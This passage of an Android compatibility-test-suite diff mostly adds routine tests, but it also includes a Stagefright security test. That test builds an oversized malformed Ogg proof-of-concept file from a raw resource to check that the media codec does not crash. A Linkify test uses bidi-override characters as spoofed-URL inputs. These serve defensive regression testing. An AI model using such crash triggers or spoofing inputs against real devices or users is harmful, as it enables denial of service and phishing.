+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        if (requestCode == REQUEST_CODE_WAIT_FOR_RESULT) {
+            mResultCode = resultCode;
+            mData = data;
+            mLatch.countDown();
+        } else {
+            super.onActivityResult(requestCode, resultCode, data);
+        }
+    }
+}
diff --git a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
index 1888341..5cbd324 100644
--- a/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
+++ b/tests/tests/rscpp/librscpptest/rs_jni_script.cpp
@@ -65,12 +65,12 @@
     script->set_charTest(-16);  // charTest
     script->set_shortTest(-32);  // shortTest
     script->set_intTest(-64);  // intTest
-    script->set_longTest(17179869185l);  // longTest
+    script->set_longTest(17179869185L);  // longTest
     script->set_longlongTest(68719476735L); //longlongTest
     script->set_ulongTest(4611686018427387903L);  // boolTest
-    script->set_uint64_tTest(117179869185l); //uint64_tTest
+    script->set_uint64_tTest(117179869185L); //uint64_tTest
     script->set_allocationTest(alloc);  // allocationTest
-    
+
     script->invoke_test_primitive_types();
     mRS->finish();
     if (result == RS_MSG_TEST_FAILED) {
diff --git a/tests/tests/security/res/raw/bug_36592202.ogg b/tests/tests/security/res/raw/bug_36592202.ogg
new file mode 100644
index 0000000..868e630
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_36592202.ogg
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_64710074.mp4 b/tests/tests/security/res/raw/bug_64710074.mp4
deleted file mode 100644
index 5544ffe..0000000
--- a/tests/tests/security/res/raw/bug_64710074.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/res/raw/bug_65484460.mp4 b/tests/tests/security/res/raw/bug_65484460.mp4
deleted file mode 100644
index 13b37e9..0000000
--- a/tests/tests/security/res/raw/bug_65484460.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 895bb98..fb3d13b 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -53,10 +53,12 @@
 import java.io.InputStream;
 import java.net.URL;
 import java.nio.ByteBuffer;
+import java.io.FileOutputStream;
 import java.io.OutputStream;
 import java.io.InputStream;
 import java.net.Socket;
 import java.net.ServerSocket;
+import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
@@ -93,11 +95,6 @@
         doStagefrightTest(R.raw.cve_2016_3829);
     }
 
-    @SecurityTest
-    public void testStagefright_bug_64710074() throws Exception {
-        doStagefrightTest(R.raw.bug_64710074);
-    }
-
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643);
@@ -603,6 +600,54 @@
         doStagefrightTest(R.raw.cve_2016_3756);
     }
 
+    @SecurityTest(minPatchLevel = "2017-07")
+    public void testStagefright_bug_36592202() throws Exception {
+        Resources resources = getInstrumentation().getContext().getResources();
+        AssetFileDescriptor fd = resources.openRawResourceFd(R.raw.bug_36592202);
+        final int oggPageSize = 25627;
+        byte [] blob = new byte[oggPageSize];
+        // 127 bytes read and 25500 zeros constitute one Ogg page
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+        // Creating temp file
+        final File tempFile = File.createTempFile("poc_tmp", ".ogg", null);
+        try {
+            final FileOutputStream tempFos = new FileOutputStream(tempFile.getAbsolutePath());
+            int bytesWritten = 0;
+            final long oggPagesRequired = 50000;
+            long oggPagesAvailable = tempFile.getUsableSpace() / oggPageSize;
+            long numOggPages = Math.min(oggPagesRequired, oggPagesAvailable);
+            // Repeat data for specified number of pages
+            for (int i = 0; i < numOggPages; i++) {
+                tempFos.write(blob);
+                bytesWritten += oggPageSize;
+            }
+            tempFos.close();
+            final int fileSize = bytesWritten;
+            final int timeout = (10 * 60 * 1000);
+            runWithTimeout(new Runnable() {
+                @Override
+                public void run() {
+                    try {
+                        doStagefrightTestMediaCodec(tempFile.getAbsolutePath());
+                    } catch (Exception | AssertionError e) {
+                        if (!tempFile.delete()) {
+                            Log.e(TAG, "Failed to delete temporary PoC file");
+                        }
+                        fail("Operation was not successful");
+                    }
+                }
+            }, timeout);
+        } catch (Exception e) {
+            fail("Failed to test b/36592202");
+        } finally {
+            if (!tempFile.delete()) {
+                Log.e(TAG, "Failed to delete temporary PoC file");
+            }
+        }
+    }
+
     @SecurityTest(minPatchLevel = "2016-11")
     public void testStagefright_bug_30822755() throws Exception {
         doStagefrightTest(R.raw.bug_30822755);
@@ -675,7 +720,7 @@
 
     @SecurityTest(minPatchLevel = "2015-12")
     public void testStagefright_bug_24157524() throws Exception {
-        doStagefrightTest(R.raw.bug_24157524);
+        doStagefrightTestMediaCodec(R.raw.bug_24157524);
     }
 
     @SecurityTest(minPatchLevel = "2015-10")
@@ -931,11 +976,6 @@
         doStagefrightTest(R.raw.cve_2016_6699);
     }
 
-    @SecurityTest(minPatchLevel = "2018-10")
-    public void testStagefright_bug_65484460() throws Exception {
-        doStagefrightTest(R.raw.bug_65484460);
-    }
-
     @SecurityTest(minPatchLevel = "2018-06")
     public void testStagefright_cve_2017_18155() throws Exception {
         doStagefrightTest(R.raw.cve_2017_18155);
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index a78ef29..71bfa2f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -281,6 +281,8 @@
         CtsSelfManagedConnectionService.waitForBinding();
         assertTrue(CtsSelfManagedConnectionService.getConnectionService().waitForUpdate(
                 CtsSelfManagedConnectionService.CREATE_OUTGOING_CONNECTION_FAILED_LOCK));
+
+        assertFalse(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
     }
 
     /**
@@ -293,8 +295,13 @@
         if (!mShouldTestTelecom) {
             return;
         }
+        assertTrue(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
         placeAndVerifyOutgoingCall(TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
+
+        assertTrue(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_2));
         placeAndVerifyOutgoingCall(TestUtils.TEST_SELF_MANAGED_HANDLE_2, TEST_ADDRESS_3);
+
+        assertTrue(mTelecomManager.isOutgoingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_3));
         placeAndVerifyOutgoingCall(TestUtils.TEST_SELF_MANAGED_HANDLE_3, TEST_ADDRESS_4);
     }
 
@@ -398,6 +405,7 @@
         SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
         setActiveAndVerify(connection);
 
+        assertTrue(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_2));
         // Attempt to create a new incoming call for the other PhoneAccount; it should succeed.
         TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
                 TestUtils.TEST_SELF_MANAGED_HANDLE_2, TEST_ADDRESS_2);
@@ -415,6 +423,7 @@
             return;
         }
 
+        assertTrue(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
         // Attempt to create a new Incoming self-managed call
         TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
                 TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
@@ -468,6 +477,7 @@
         SelfManagedConnection connection = TestUtils.waitForAndGetConnection(TEST_ADDRESS_1);
         connection.setRinging();
 
+        assertFalse(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
         // WHEN create a new incoming call for the the same PhoneAccount
         TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
                 TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_1);
@@ -492,6 +502,8 @@
         for (int ix = 0; ix < 10; ix++) {
             Uri address = Uri.fromParts("sip", "test" + ix + "@test.com", null);
             // Create an ongoing call in the first self-managed PhoneAccount.
+            assertTrue(mTelecomManager.isOutgoingCallPermitted(
+                    TestUtils.TEST_SELF_MANAGED_HANDLE_1));
             TestUtils.placeOutgoingCall(getInstrumentation(), mTelecomManager,
                     TestUtils.TEST_SELF_MANAGED_HANDLE_1, address);
             SelfManagedConnection connection = TestUtils.waitForAndGetConnection(address);
@@ -500,6 +512,7 @@
         }
 
         // Try adding an 11th.  It should fail to be created.
+        assertFalse(mTelecomManager.isIncomingCallPermitted(TestUtils.TEST_SELF_MANAGED_HANDLE_1));
         TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
                 TestUtils.TEST_SELF_MANAGED_HANDLE_1, TEST_ADDRESS_2);
         assertTrue("Expected onCreateIncomingConnectionFailed callback",
diff --git a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
index f544694..7b0018a 100644
--- a/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
+++ b/tests/tests/telephony/src/android/telephony/cts/SubscriptionManagerTest.java
@@ -25,6 +25,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -287,6 +288,32 @@
         assertOverrideSuccess(older, newer);
     }
 
+    @Test
+    public void testSubscriptionGrouping() throws Exception {
+        if (!isSupported()) return;
+
+        // Set subscription group with current sub Id. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        int[] subGroup = new int[] {mSubId};
+        try {
+            mSm.setSubscriptionGroup(subGroup);
+            fail();
+        } catch (SecurityException expected) {
+        }
+
+        // Getting subscriptions in group should return null as setSubscriptionGroup
+        // should fail.
+        assertNull(mSm.getSubscriptionsInGroup(mSubId));
+
+        // Remove from subscription group with current sub Id. This should fail
+        // because we don't have MODIFY_PHONE_STATE or carrier privilege permission.
+        try {
+            mSm.removeSubscriptionsFromGroup(subGroup);
+            fail();
+        } catch (SecurityException expected) {
+        }
+    }
+
     private void assertOverrideSuccess(SubscriptionPlan... plans) {
         mSm.setSubscriptionPlans(mSubId, Arrays.asList(plans));
         mSm.setSubscriptionOverrideCongested(mSubId, false, 0);
diff --git a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
index 7b42687..1b471d3 100644
--- a/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
+++ b/tests/tests/text/src/android/text/cts/PrecomputedTextTest.java
@@ -22,6 +22,7 @@
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -181,6 +182,17 @@
     }
 
     @Test
+    public void testCreateForDifferentDirection() {
+        final Params param = new Params.Builder(PAINT).setTextDirection(LTR).build();
+        final PrecomputedText textWithLTR = PrecomputedText.create(STRING, param);
+        final Params newParam = new Params.Builder(PAINT).setTextDirection(RTL).build();
+        final PrecomputedText textWithRTL = PrecomputedText.create(textWithLTR, newParam);
+        assertNotNull(textWithRTL);
+        assertNotSame(textWithLTR, textWithRTL);
+        assertEquals(textWithLTR.toString(), textWithRTL.toString());
+    }
+
+    @Test
     public void testCharSequenceInteface() {
         final Params param = new Params.Builder(PAINT).build();
         final CharSequence s = PrecomputedText.create(STRING, param);
@@ -650,9 +662,20 @@
         final Params params = new Params.Builder(paint).build();
         final PrecomputedText pt = PrecomputedText.create(cs, params);
 
+        final Params rtlParams = new Params.Builder(paint)
+                .setTextDirection(TextDirectionHeuristics.RTL).build();
+        final PrecomputedText rtlPt = PrecomputedText.create(cs, rtlParams);
+        // FIRSTSTRONG_LTR is the default direction.
+        final PrecomputedText ptFromRtl = PrecomputedText.create(rtlPt,
+                new Params.Builder(params).setTextDirection(
+                        TextDirectionHeuristics.FIRSTSTRONG_LTR).build());
+
         final Bitmap originalDrawOutput = drawToBitmap(cs, start, end, ctxStart, ctxEnd, paint);
         final Bitmap precomputedDrawOutput = drawToBitmap(pt, start, end, ctxStart, ctxEnd, paint);
+        final Bitmap precomputedFromDifferentDirectionDrawOutput =
+                drawToBitmap(pt, start, end, ctxStart, ctxEnd, paint);
         assertTrue(originalDrawOutput.sameAs(precomputedDrawOutput));
+        assertTrue(originalDrawOutput.sameAs(precomputedFromDifferentDirectionDrawOutput));
     }
 
     @Test
diff --git a/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java b/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java
index 1b0bac1..aa72476 100644
--- a/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java
+++ b/tests/tests/text/src/android/text/style/cts/LineHeightSpan_StandardTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertEquals;
 
 import android.graphics.Paint.FontMetricsInt;
+import android.os.Parcel;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
 import android.text.style.LineHeightSpan;
@@ -76,4 +77,23 @@
         assertEquals(ascent, fm.ascent);
         assertEquals(descent, fm.descent);
     }
+
+    @Test
+    public void testGetHeight() {
+        final int height = 23;
+        LineHeightSpan.Standard span = new LineHeightSpan.Standard(height);
+
+        assertEquals(height, span.getHeight());
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        final LineHeightSpan.Standard span = new LineHeightSpan.Standard(20);
+        final Parcel parcel = Parcel.obtain();
+        span.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+
+        final LineHeightSpan.Standard parcelSpan = new LineHeightSpan.Standard(parcel);
+        assertEquals(span.getHeight(), parcelSpan.getHeight());
+    }
 }
diff --git a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
index 4e20ca6..f6b202b 100644
--- a/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
+++ b/tests/tests/text/src/android/text/style/cts/SuggestionSpanTest.java
@@ -23,10 +23,9 @@
 
 import android.content.Context;
 import android.content.res.Configuration;
+import android.graphics.Color;
 import android.os.LocaleList;
 import android.os.Parcel;
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.filters.SmallTest;
 import android.support.test.runner.AndroidJUnit4;
@@ -36,6 +35,9 @@
 import android.text.TextPaint;
 import android.text.style.SuggestionSpan;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -248,4 +250,35 @@
             }
         }
     }
+
+    @Test
+    public void testGetUnderlineColor_NoUnderline() {
+        final String[] suggestions = new String[0];
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions, 0);
+        assertEquals(span.getUnderlineColor(), 0);
+    }
+
+    @Test
+    public void testGetUnderlineColor_EasyCorrectUnderline() {
+        final String[] suggestions = new String[0];
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+                SuggestionSpan.FLAG_EASY_CORRECT);
+        assertEquals(span.getUnderlineColor(), Color.BLACK);
+    }
+
+    @Test
+    public void testGetUnderlineColor_MisspelledUnderline() {
+        final String[] suggestions = new String[0];
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+                SuggestionSpan.FLAG_EASY_CORRECT | SuggestionSpan.FLAG_MISSPELLED);
+        assertEquals(span.getUnderlineColor(), Color.BLACK);
+    }
+
+    @Test
+    public void testGetUnderlineColor_AutoCorrectionUnderline() {
+        final String[] suggestions = new String[0];
+        final SuggestionSpan span = new SuggestionSpan(Locale.forLanguageTag("en"), suggestions,
+                SuggestionSpan.FLAG_AUTO_CORRECTION);
+        assertEquals(span.getUnderlineColor(), Color.BLACK);
+    }
 }
diff --git a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
index f9c2536..9a7e39a 100644
--- a/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
+++ b/tests/tests/text/src/android/text/util/cts/LinkifyTest.java
@@ -1003,6 +1003,17 @@
                 domain.length(), email);
     }
 
+    @Test
+    public void testAddLinks_unsupportedCharacters() {
+        String url = "moc.diordna.com";
+        verifyAddLinksWithWebUrlSucceeds(url + " should be linkified", url);
+
+        verifyAddLinksWithWebUrlFails("u202C character should not be linkified", "\u202C" + url);
+        verifyAddLinksWithWebUrlFails("u202D character should not be linkified", url + "\u202D");
+        verifyAddLinksWithWebUrlFails(
+                "u202E character should not be linkified", url + "moc\u202E.diordna.com");
+    }
+
     // Utility functions
     private static void verifyAddLinksWithWebUrlSucceeds(String msg, String url) {
         verifyAddLinksSucceeds(msg, url, Linkify.WEB_URLS);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
index 3391bb9..fb07aa6 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/HardwareBitmapTests.java
@@ -242,7 +242,7 @@
         createTest().addCanvasClient((canvas, width, height) -> {
             Bitmap hardwareBitmap = BitmapFactory.decodeResource(mRes, R.drawable.robot,
                     HARDWARE_OPTIONS);
-            Bitmap scaled = Bitmap.createScaledBitmap(hardwareBitmap, 24, 24, false);
+            Bitmap scaled = Bitmap.createScaledBitmap(hardwareBitmap, 24, 24, true);
             assertEquals(Bitmap.Config.HARDWARE, scaled.getConfig());
             canvas.drawBitmap(scaled, 0, 0, null);
         }, true).runWithVerifier(new GoldenImageVerifier(getActivity(),
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
index bfef8cb..1900919 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/RenderNodeTests.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertTrue;
 
 import android.graphics.Canvas;
@@ -33,6 +34,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.HashSet;
+import java.util.Set;
+
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class RenderNodeTests extends ActivityTestBase {
@@ -190,4 +194,17 @@
         assertEquals(10, canvas.getHeight());
         renderNode.endRecording();
     }
+
+    @Test
+    public void testGetUniqueId() {
+        final RenderNode r1 = new RenderNode(null);
+        final RenderNode r2 = new RenderNode(null);
+        assertNotEquals(r1.getUniqueId(), r2.getUniqueId());
+        final Set<Long> usedIds = new HashSet<>();
+        assertTrue(usedIds.add(r1.getUniqueId()));
+        assertTrue(usedIds.add(r2.getUniqueId()));
+        for (int i = 0; i < 100; i++) {
+            assertTrue(usedIds.add(new RenderNode(null).getUniqueId()));
+        }
+    }
 }
diff --git a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
index 8b0d4c7..a67c178 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewCtsActivity.java
@@ -355,6 +355,9 @@
                     case TextureViewTest.EGL_GL_COLORSPACE_DISPLAY_P3_EXT:
                         eglColorSpaceString = "EGL_EXT_gl_colorspace_display_p3";
                         break;
+                    case TextureViewTest.EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT:
+                        eglColorSpaceString = "EGL_EXT_gl_colorspace_display_p3_linear";
+                        break;
                     case TextureViewTest.EGL_GL_COLORSPACE_SRGB_KHR:
                         eglColorSpaceString = "EGL_KHR_gl_colorspace";
                         break;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index c86cb87..c26782c 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -61,6 +61,7 @@
 
     static final int EGL_GL_COLORSPACE_SRGB_KHR = 0x3089;
     static final int EGL_GL_COLORSPACE_DISPLAY_P3_EXT = 0x3363;
+    static final int EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT = 0x3362;
     static final int EGL_GL_COLORSPACE_SCRGB_LINEAR_EXT = 0x3350;
 
     @Rule
@@ -219,15 +220,17 @@
                 screenshot.getPixel(texturePos.right - 10, texturePos.bottom - 10));
     }
 
+    @Ignore // Disabled temporarily, b/119504473
     @Test
     public void testGetBitmap_8888_P3() throws Throwable {
         testGetBitmap(EGL_GL_COLORSPACE_DISPLAY_P3_EXT, ColorSpace.Named.DISPLAY_P3, false,
                 new FP16Compare(ColorSpace.Named.EXTENDED_SRGB));
     }
 
+    @Ignore // Disabled temporarily, b/119504473
     @Test
     public void testGetBitmap_FP16_P3() throws Throwable {
-        testGetBitmap(EGL_GL_COLORSPACE_DISPLAY_P3_EXT, ColorSpace.Named.DISPLAY_P3, true,
+        testGetBitmap(EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT, ColorSpace.Named.DISPLAY_P3, true,
                 new FP16Compare(ColorSpace.Named.EXTENDED_SRGB));
     }
 
@@ -237,15 +240,17 @@
                 true, new FP16Compare(ColorSpace.Named.EXTENDED_SRGB));
     }
 
+    @Ignore // Disabled temporarily, b/119504473
     @Test
     public void testGet565Bitmap_SRGB() throws Throwable {
-        testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, true,
+        testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, false,
                 new SRGBCompare(Bitmap.Config.RGB_565));
     }
 
+    @Ignore // Disabled temporarily, b/119504473
     @Test
     public void testGetBitmap_SRGB() throws Throwable {
-        testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, true,
+        testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, false,
                 new SRGBCompare(Bitmap.Config.ARGB_8888));
     }
 
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 61147bf3..5389608 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -2777,6 +2777,40 @@
         assertEquals(5, resetResolvedDrawablesCount);
     }
 
+    @UiThreadTest
+    @Test
+    public void testLayoutNotCalledWithSuppressLayoutTrue() {
+        mMockViewGroup.suppressLayout(true);
+        mMockViewGroup.layout(0, 0, 100, 100);
+
+        assertTrue(mMockViewGroup.isLayoutSuppressed());
+        assertFalse(mMockViewGroup.isOnLayoutCalled);
+        assertFalse(mMockViewGroup.isRequestLayoutCalled);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testLayoutCalledAfterSettingBackSuppressLayoutToFalseTrue() {
+        mMockViewGroup.suppressLayout(true);
+        mMockViewGroup.suppressLayout(false);
+        mMockViewGroup.layout(0, 0, 100, 100);
+
+        assertFalse(mMockViewGroup.isLayoutSuppressed());
+        assertTrue(mMockViewGroup.isOnLayoutCalled);
+    }
+
+    @UiThreadTest
+    @Test
+    public void testRequestLayoutCalledAfterSettingSuppressToFalseWhenItWasCalledWithTrue() {
+        mMockViewGroup.suppressLayout(true);
+        // now we call layout while in suppressed state
+        mMockViewGroup.layout(0, 0, 100, 100);
+        // then we undo suppressing. it should call requestLayout as we swallowed one layout call
+        mMockViewGroup.suppressLayout(false);
+
+        assertTrue(mMockViewGroup.isRequestLayoutCalled);
+    }
+
     static class MockTextView extends TextView {
 
         public boolean isClearFocusCalled;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index a3b82fe..3168c60 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -18,6 +18,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNotSame;
 import static org.junit.Assert.assertNull;
@@ -121,6 +122,8 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
@@ -4707,6 +4710,16 @@
     }
 
     @Test
+    public void testTransitionAlpha() {
+        View view = new View(mContext);
+        view.setAlpha(1f);
+        view.setTransitionAlpha(0.5f);
+
+        assertEquals(1f, view.getAlpha(), 0.0001f);
+        assertEquals(0.5f, view.getTransitionAlpha(), 0.0001f);
+    }
+
+    @Test
     public void testSetGetOutlineShadowColor() {
         ViewGroup group = (ViewGroup) LayoutInflater.from(mContext).inflate(
                 R.layout.view_outlineshadowcolor, null);
@@ -4818,6 +4831,30 @@
         assertFalse(view.isPivotSet());
     }
 
+    @Test
+    public void testSetLeftTopRightBottom() {
+        View view = new View(mContext);
+        view.setLeftTopRightBottom(1, 2, 3, 4);
+
+        assertEquals(1, view.getLeft());
+        assertEquals(2, view.getTop());
+        assertEquals(3, view.getRight());
+        assertEquals(4, view.getBottom());
+    }
+
+    @Test
+    public void testGetUniqueDrawingId() {
+        View view1 = new View(mContext);
+        View view2 = new View(mContext);
+        Set<Long> idSet = new HashSet<>(50);
+
+        assertNotEquals(view1.getUniqueDrawingId(), view2.getUniqueDrawingId());
+
+        for (int i = 0; i < 50; i++) {
+            assertTrue(idSet.add(new View(mContext).getUniqueDrawingId()));
+        }
+    }
+
     private static class MockDrawable extends Drawable {
         private boolean mCalledSetTint = false;
 
diff --git a/tests/tests/view/src/android/view/inspector/cts/IntEnumMappingTest.java b/tests/tests/view/src/android/view/inspector/cts/IntEnumMappingTest.java
new file mode 100644
index 0000000..6729491
--- /dev/null
+++ b/tests/tests/view/src/android/view/inspector/cts/IntEnumMappingTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inspector.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inspector.IntEnumMapping;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link IntEnumMapping}
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class IntEnumMappingTest {
+    @Test
+    public void testMapping() {
+        IntEnumMapping mapping = new IntEnumMapping.Builder()
+                .addValue("ONE", 1)
+                .addValue("TWO", 2)
+                .build();
+        assertNull(mapping.nameOf(0));
+        assertEquals("ONE", mapping.nameOf(1));
+        assertEquals("TWO", mapping.nameOf(2));
+    }
+}
diff --git a/tests/tests/view/src/android/view/inspector/cts/IntFlagMappingTest.java b/tests/tests/view/src/android/view/inspector/cts/IntFlagMappingTest.java
new file mode 100644
index 0000000..ba3a3af
--- /dev/null
+++ b/tests/tests/view/src/android/view/inspector/cts/IntFlagMappingTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inspector.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inspector.IntFlagMapping;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link IntFlagMapping}
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class IntFlagMappingTest {
+    @Test
+    public void testNonExclusiveFlags() {
+        IntFlagMapping mapping = new IntFlagMapping.Builder()
+                .addFlag("ONE", 1)
+                .addFlag("TWO", 2)
+                .build();
+
+        assertArrayEquals(new String[0], mapping.namesOf(0));
+        assertArrayEquals(new String[] {"ONE"}, mapping.namesOf(1));
